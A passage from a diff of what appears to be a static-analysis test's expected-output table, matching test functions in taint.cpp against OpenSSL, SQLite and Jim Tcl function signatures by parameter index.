| X509V3_parse_list | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | opt_path_end | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | opt_progname | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | strhash | 0 | +| taint.cpp:665:6:665:25 | test_no_const_member | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:665:6:665:25 | test_no_const_member | (char *) | | defossilize | 0 | +| taint.cpp:665:6:665:25 | test_no_const_member | (char *) | | make_uppercase | 0 | +| taint.cpp:665:6:665:25 | test_no_const_member | (char *) | | next_item | 0 | | taint.cpp:665:6:665:25 | test_no_const_member | (char *) | CStringT | CStringT | 0 | +| taint.cpp:677:6:677:27 | test_with_const_member | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:677:6:677:27 | test_with_const_member | (char *) | | defossilize | 0 | +| taint.cpp:677:6:677:27 | test_with_const_member | (char *) | | make_uppercase | 0 | +| taint.cpp:677:6:677:27 | test_with_const_member | (char *) | | next_item | 0 | | taint.cpp:677:6:677:27 | test_with_const_member | (char *) | CStringT | CStringT | 0 | +| taint.cpp:683:6:683:20 | argument_source | (void *) | | ossl_kdf_data_new | 0 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| taint.cpp:707:8:707:14 | strncpy | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| taint.cpp:707:8:707:14 | strncpy | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| taint.cpp:709:6:709:17 | test_strncpy | (ARGS *,char *) | | chopup_args | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (BIO *,char *) | | BIO_set_callback_arg | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (SRP_VBASE *,char *) | | SRP_VBASE_get1_by_user | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (SRP_VBASE *,char *) | | SRP_VBASE_get_by_user | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (SSL_CTX *,char *) | | SSL_CTX_set_srp_password | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (SSL_CTX *,char *) | | SSL_CTX_set_srp_username | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (const char *,char *) | | sha1sum_file | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (const char *,char *) | | sha3sum_file | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (unsigned long,char *) | | ERR_error_string | 1 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,char *,int) | | BIO_get_line | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,const DSA *,int) | | DSA_print | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,const RSA *,int) | | RSA_print | 2 | +| taint.cpp:725:10:725:15 | strtol | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| taint.cpp:725:10:725:15 | strtol | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| taint.cpp:725:10:725:15 | strtol | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| taint.cpp:725:10:725:15 | strtol | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| taint.cpp:725:10:725:15 | strtol | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| taint.cpp:725:10:725:15 | strtol | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| taint.cpp:725:10:725:15 | strtol | (FILE *,rule *,int) | | RulePrint | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| taint.cpp:725:10:725:15 | strtol | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| taint.cpp:725:10:725:15 | strtol | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| taint.cpp:725:10:725:15 | strtol | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| taint.cpp:725:10:725:15 | strtol | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | +| taint.cpp:725:10:725:15 | strtol | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| taint.cpp:725:10:725:15 | strtol | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| taint.cpp:725:10:725:15 | strtol | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,const void *,int) | | SSL_write | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,void *,int) | | SSL_peek | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,void *,int) | | SSL_read | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509 *,int,int) | | X509_check_purpose | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509 *,int,int) | | X509_check_trust | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | taint.cpp:725:10:725:15 | strtol | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | taint.cpp:725:10:725:15 | strtol | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| taint.cpp:725:10:725:15 | strtol | (action *,FILE *,int) | | PrintAction | 2 | +| taint.cpp:725:10:725:15 | strtol | (acttab *,int,int) | | acttab_action | 2 | +| taint.cpp:725:10:725:15 | strtol | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| taint.cpp:725:10:725:15 | strtol | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| taint.cpp:725:10:725:15 | strtol | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| taint.cpp:725:10:725:15 | strtol | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| taint.cpp:725:10:725:15 | strtol | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| taint.cpp:725:10:725:15 | strtol | (const SSL *,int,int) | | apps_ssl_info_callback | 2 | +| taint.cpp:725:10:725:15 | strtol | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,long *,int) | | Jim_StringToWide | 2 | +| taint.cpp:725:10:725:15 | strtol | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| taint.cpp:725:10:725:15 | strtol | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| taint.cpp:725:10:725:15 | strtol | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| taint.cpp:725:10:725:15 | strtol | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| taint.cpp:725:10:725:15 | strtol | (int,int,int) | | ASN1_object_size | 2 | +| taint.cpp:725:10:725:15 | strtol | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| taint.cpp:725:10:725:15 | strtol | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| taint.cpp:725:10:725:15 | strtol | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| taint.cpp:725:10:725:15 | strtol | (uint32_t *,SSL_CONNECTION 